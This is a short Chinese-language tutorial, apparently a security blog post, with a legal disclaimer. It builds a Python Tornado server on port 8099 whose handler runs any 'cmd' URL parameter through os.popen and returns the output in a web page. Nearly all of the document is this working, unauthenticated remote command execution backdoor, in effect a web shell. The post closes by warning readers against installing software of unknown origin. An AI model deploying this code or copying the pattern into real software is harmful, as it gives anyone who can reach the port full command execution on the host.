免责声明:本文章仅供网络安全方面学习、交流使用,任何操作与作者无关
请遵守我国法律法规
一、工具&环境
- Python 3
二、搭建网站
使用库:tornado、os
from tornado.web import Application,RequestHandler
from tornado.ioloop import IOLoop
from tornado.httpserver import HTTPServer
import os
#定义视图类
class mainHandler(RequestHandler):
#重写方法
def get(self):
print("this is get")
#get传参,无参数为空
cmd = self.get_query_argument('cmd','')
res = os.popen(cmd)
resstr = res.read()
htmlpagecode = '''<h1>Welcome!</h1>cmd:{}<div><textarea>{}</textarea></div> '''.format(cmd,resstr)
self.write(htmlpagecode)
res.close()
def post(self):
print("this is post")
#定义web应用
# page --> app --> server
def webApp():
#指定根
app = Application([('/',mainHandler),('/index.html',mainHandler)])
return app
#定义一个入口
if __name__ == '__main__':
webapp = webApp()
server = HTTPServer(webapp)
#绑定端口
server.bind(8099)
server.start()
#轮询监听不可省略
IOLoop.current().start()
三、运行截图
提高警惕,切勿安装不明来源的程序软件
完
欢迎在评论区留言
感谢浏览